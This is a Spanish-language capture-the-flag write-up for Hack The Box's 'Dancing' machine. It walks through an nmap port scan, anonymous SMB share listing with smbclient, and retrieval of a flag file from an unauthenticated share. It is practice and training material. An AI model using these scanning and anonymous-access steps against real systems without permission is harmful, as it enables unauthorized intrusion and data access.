Dancing
Plataforma: Hack The Box
Dificultad: Very Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Dancing
Reconocimiento
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN dancing.txt 10.129.19.175
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 23:45 -0300
Nmap scan report for 10.129.19.175
Host is up (0.24s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-02-17T02:45:00
|_ start_date: N/A
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.21 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN dancing.txt: Guarda los resultados en el archivo “dancing.txt”.
Puertos descubiertos:
- 135/tcp - MSRPC
- 445/tcp - SMB
- 5985/tcp - WinRM
- 49664-49669/tcp - MSRPC
El script smb2-security-mode indica que la firma SMB está habilitada pero no es obligatoria, lo que permite conexiones sin autenticación.
Enumeración SMB
Usamos smbclient para listar los recursos compartidos disponibles sin credenciales (flag -N):
smbclient -L //10.129.19.175 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
Se identifican 4 shares:
| Share | Tipo | Descripción |
|---|---|---|
| ADMIN$ | Disk | Administración remota — requiere credenciales |
| C$ | Disk | Share por defecto del disco — requiere credenciales |
| IPC$ | IPC | Comunicación entre procesos |
| WorkShares | Disk | Sin comentario — accesible sin credenciales |

Acceso y Flag
Nos conectamos al share WorkShares sin autenticación:
smbclient //10.129.19.175/WorkShares -N
smb: \> ls
. D 0 Mon Mar 29 04:22:01 2021
.. D 0 Mon Mar 29 04:22:01 2021
Amy.J D 0 Mon Mar 29 05:08:24 2021
James.P D 0 Thu Jun 3 04:38:03 2021
Exploramos los directorios encontrados. En James.P encontramos la flag:
smb: \> cd James.P
smb: \James.P\> ls
. D 0 Thu Jun 3 04:38:03 2021
.. D 0 Thu Jun 3 04:38:03 2021
flag.txt A 32 Mon Mar 29 05:26:57 2021
smb: \James.P\> get flag.txt
smb: \James.P\> exit
cat flag.txt

Máquina Dancing de Hack The Box Starting Point completada exitosamente.